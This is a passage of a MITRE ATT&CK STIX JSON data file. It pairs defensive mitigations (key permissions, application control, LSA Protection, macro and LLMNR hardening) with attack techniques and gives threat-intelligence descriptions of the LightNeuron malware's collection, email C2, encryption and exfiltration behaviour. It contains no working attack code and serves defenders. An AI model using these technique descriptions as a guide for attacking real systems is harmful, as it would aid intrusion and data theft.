            "description": "This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.",
            "id": "relationship--20a0028d-1e5b-49da-a56c-a8a611a20093",
            "type": "relationship",
            "modified": "2020-01-24T18:26:19.241Z",
            "created": "2019-06-25T11:28:27.310Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "relationship_type": "mitigates",
            "description": "Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access.",
            "id": "relationship--bcb80880-d429-49b3-b9ca-7f7d94812dc4",
            "type": "relationship",
            "modified": "2020-02-18T16:51:57.991Z",
            "created": "2019-06-25T11:44:21.264Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "relationship_type": "mitigates",
            "description": "Use strong passphrases for private keys to make cracking difficult.",
            "id": "relationship--3afb3225-b6f9-439c-82dd-5cdc464ac34f",
            "type": "relationship",
            "modified": "2020-02-18T16:51:58.007Z",
            "created": "2019-06-25T11:44:21.278Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "relationship_type": "mitigates",
            "description": "Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement.",
            "id": "relationship--8e6ec081-8124-4e3a-833c-30efe8b510fe",
            "type": "relationship",
            "modified": "2020-02-18T16:51:58.006Z",
            "created": "2019-06-25T11:44:21.285Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
            "relationship_type": "mitigates",
            "description": "Ensure only authorized keys are allowed access to critical resources and audit access lists regularly.",
            "id": "relationship--80f7f387-a40c-4158-a509-9308263b32ed",
            "type": "relationship",
            "modified": "2020-02-18T16:51:58.015Z",
            "created": "2019-06-25T11:44:21.287Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
            "relationship_type": "mitigates",
            "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.",
            "id": "relationship--39962764-cf46-4f39-9dd9-95b0ced56d93",
            "type": "relationship",
            "modified": "2020-03-09T13:51:07.141Z",
            "created": "2019-06-25T11:53:20.331Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
            "relationship_type": "mitigates",
            "description": "Prevent plist files from being modified by users by making them read-only.",
            "id": "relationship--cbbb1dfc-b66c-42d7-828d-6af82c396d78",
            "type": "relationship",
            "modified": "2020-03-17T13:03:26.246Z",
            "created": "2019-06-25T11:58:11.888Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
            "relationship_type": "mitigates",
            "description": "Require that all executables be placed in write-protected directories.",
            "id": "relationship--458eb231-ded2-4941-aeaa-875263ac20ab",
            "type": "relationship",
            "modified": "2020-07-06T18:49:35.885Z",
            "created": "2019-06-25T12:02:27.819Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
            "relationship_type": "mitigates",
            "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "id": "relationship--cef9c309-edd5-48a6-afc9-de7e13a0cc05",
            "external_references": [
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "source_name": "Microsoft Windows Defender Application Control",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control",
                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-06T18:49:35.924Z",
            "created": "2019-06-25T12:02:27.823Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
            "relationship_type": "mitigates",
            "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). \n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations. (Citation: Kanthak Sentinel)",
            "id": "relationship--b113c982-66fb-4a19-b85d-f1f33f045d2b",
            "external_references": [
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.",
                    "source_name": "MSDN DLL Security"
                },
                {
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html",
                    "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.",
                    "source_name": "Kanthak Sentinel"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-06T18:49:35.975Z",
            "created": "2019-06-25T12:02:27.825Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "relationship_type": "mitigates",
            "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
            "id": "relationship--62d8cec2-c94f-4a18-ab0a-0a182e30f33a",
            "external_references": [
                {
                    "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.",
                    "source_name": "MRWLabs Office Persistence Add-ins"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-26T17:31:50.400Z",
            "created": "2019-06-25T12:09:15.655Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "relationship_type": "mitigates",
            "description": "Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted. (Citation: Microsoft AMSI June 2015)",
            "id": "relationship--ffa8f46b-615f-4b95-8ed5-90f86eaedd20",
            "external_references": [
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc",
                    "description": "Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.",
                    "source_name": "Microsoft AMSI June 2015"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-24T13:19:18.884Z",
            "created": "2019-06-25T12:15:00.109Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
            "relationship_type": "mitigates",
            "description": "Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)",
            "id": "relationship--30cd48e4-915e-430b-ab79-da6dfead0e52",
            "external_references": [
                {
                    "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks",
                    "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.",
                    "source_name": "InsiderThreat NTFS EA Oct 2017"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-13T21:04:13.667Z",
            "created": "2019-06-25T12:17:31.734Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "relationship_type": "mitigates",
            "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans.",
            "id": "relationship--651225d6-5454-4c44-8d62-776bd7ddaed2",
            "type": "relationship",
            "modified": "2021-04-09T14:56:26.709Z",
            "created": "2019-06-25T12:25:23.792Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "relationship_type": "mitigates",
            "description": "Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.",
            "id": "relationship--32d482c4-2c0d-4688-a38b-d73b5b2962a3",
            "type": "relationship",
            "modified": "2021-04-09T14:56:26.699Z",
            "created": "2019-06-25T12:25:23.800Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
            "relationship_type": "mitigates",
            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.",
            "id": "relationship--b5bb955f-cf1c-4398-9766-d06b30dfe326",
            "type": "relationship",
            "modified": "2020-01-31T18:59:59.397Z",
            "created": "2019-06-25T12:29:05.208Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
            "relationship_type": "mitigates",
            "description": "Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--0672855a-d701-45fc-ba05-872561b46086",
            "type": "relationship",
            "modified": "2020-01-31T18:59:59.413Z",
            "created": "2019-06-25T12:29:05.217Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "relationship_type": "mitigates",
            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.",
            "id": "relationship--81bb4898-aaa2-4dff-9af8-a97e6b69a95a",
            "type": "relationship",
            "modified": "2020-08-13T20:02:49.812Z",
            "created": "2019-06-25T12:31:57.676Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
            "relationship_type": "mitigates",
            "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.",
            "id": "relationship--4fd60107-7025-4398-a53e-ef830c606e96",
            "type": "relationship",
            "modified": "2020-03-16T16:06:07.947Z",
            "created": "2019-06-25T12:34:17.206Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "relationship_type": "mitigates",
            "description": "Use file system access controls to protect folders such as C:\\\\Windows\\\\System32.",
            "id": "relationship--72de6e56-e5d1-4a3f-aa85-d7155f7ff42c",
            "type": "relationship",
            "modified": "2021-04-24T13:23:48.967Z",
            "created": "2019-06-25T12:37:30.052Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "relationship_type": "mitigates",
            "description": "Require signed binaries.",
            "id": "relationship--4fd3ec25-00ed-48c1-af72-e2523959860e",
            "type": "relationship",
            "modified": "2021-04-24T13:23:48.964Z",
            "created": "2019-06-25T12:37:30.078Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff",
            "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
            "relationship_type": "mitigates",
            "description": "Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)",
            "id": "relationship--865b8971-408c-481c-8879-616f8a08eab0",
            "external_references": [
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
                    "source_name": "Microsoft DLL Security"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T18:50:29.201Z",
            "created": "2019-06-25T12:42:56.894Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312",
            "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
            "relationship_type": "mitigates",
            "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.",
            "id": "relationship--eaaa3ad9-1bac-4355-901a-7ea888ab4bdc",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/dn408187.aspx",
                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
                    "source_name": "Microsoft LSA Protection Mar 2014"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-24T18:50:29.221Z",
            "created": "2019-06-25T12:42:56.899Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "relationship_type": "mitigates",
            "description": "Holding the shift key during login prevents apps from opening automatically. (Citation: Re-Open windows on Mac)",
            "id": "relationship--94fda004-858c-4128-93d8-2fe3bb4a4930",
            "external_references": [
                {
                    "url": "https://support.apple.com/en-us/HT204005",
                    "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
                    "source_name": "Re-Open windows on Mac"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-19T19:17:58.696Z",
            "created": "2019-06-25T12:57:26.767Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
            "relationship_type": "mitigates",
            "description": "Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)",
            "id": "relationship--05b79234-c4ce-4045-8939-540f499c3486",
            "external_references": [
                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."
                },
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            "relationship_type": "mitigates",
            "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as [BloodHound](https://attack.mitre.org/software/S0521) (version 1.5.1 and later)(Citation: GitHub Bloodhound).",
            "id": "relationship--02a7cdce-3386-4a5f-a9c4-a8ab2d3a9091",
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                    "source_name": "GitHub Bloodhound",
                    "url": "https://github.com/BloodHoundAD/BloodHound",
                    "description": "Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2021-01-11T19:48:37.966Z",
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        },
        {
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            ],
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            "description": "System settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.",
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            "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
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            "description": "Train users to identify social engineering techniques and spearphishing emails.",
            "id": "relationship--b2dac45d-0bd8-488a-a00d-d54db8d3507c",
            "type": "relationship",
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            "relationship_type": "mitigates",
            "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.(Citation: Anomali Template Injection MAR 2018)",
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                {
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                    "source_name": "Microsoft Disable Macros"
                }
            ],
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            "description": "Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads.(Citation: Anomali Template Injection MAR 2018)",
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            ],
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                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) collects Exchange emails matching rules specified in its configuration.(Citation: ESET LightNeuron May 2019)",
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            "type": "relationship",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can collect files from a local system.(Citation: ESET LightNeuron May 2019)",
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            "type": "relationship",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically collect files under a specified directory.(Citation: ESET LightNeuron May 2019)",
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            "id": "relationship--83d16911-5fa1-4646-9718-6af0852dcb9a",
            "type": "relationship",
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            "external_references": [
                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
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                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) gathers the victim computer name using the Win32 API call <code>GetComputerName</code>.(Citation: ESET LightNeuron May 2019)",
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            "type": "relationship",
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                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) gathers information about network adapters using the Win32 API call <code>GetAdaptersInfo</code>.(Citation: ESET LightNeuron May 2019)",
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            "type": "relationship",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) contains a function to encrypt and store emails that it collects.(Citation: ESET LightNeuron May 2019)",
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            "type": "relationship",
            "modified": "2020-03-30T02:59:20.841Z",
            "created": "2019-06-28T14:34:59.110Z"
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                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to automatically exfiltrate files under a specified directory.(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-07-16T17:12:00.606Z",
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        },
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) uses SMTP for C2.(Citation: ESET LightNeuron May 2019)",
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            "type": "relationship",
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                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) uses AES to encrypt C2 traffic.(Citation: ESET LightNeuron May 2019)",
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                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) is controlled via commands that are embedded into PDFs and JPGs using steganographic methods.(Citation: ESET LightNeuron May 2019)",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to exfiltrate data during nighttime or working hours.(Citation: ESET LightNeuron May 2019)",
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            "type": "relationship",
            "modified": "2019-07-16T17:12:00.689Z",
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            "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) exfiltrates data over its email C2 channel.(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
            "id": "relationship--3b6f4d0d-352f-4e0f-8a7d-5b843a21295a",
            "type": "relationship",
            "modified": "2019-07-16T17:12:00.736Z",
            "created": "2019-06-28T14:58:02.575Z"
        },
        {
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            "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has used AES and XOR to decrypt configuration files and commands.(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
            "id": "relationship--54d9e07f-eff6-41e9-8821-3bb7ac657c8c",
            "type": "relationship",
            "modified": "2019-07-16T17:12:00.709Z",
            "created": "2019-06-28T16:02:08.184Z"
        },
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            ],
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            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf",
                    "source_name": "ESET LightNeuron May 2019"
                }
            ],
            "description": "[LightNeuron](https://attack.mitre.org/software/S0395) has used filenames associated with Exchange and Outlook for binary and configuration files, such as <code>winmail.dat</code>.(Citation: ESET LightNeuron May 2019)",
            "relationship_type": "uses",
            "id": "relationship--68017126-a4fe-4c2d-926d-fbc51ea8573c",
            "type": "relationship",
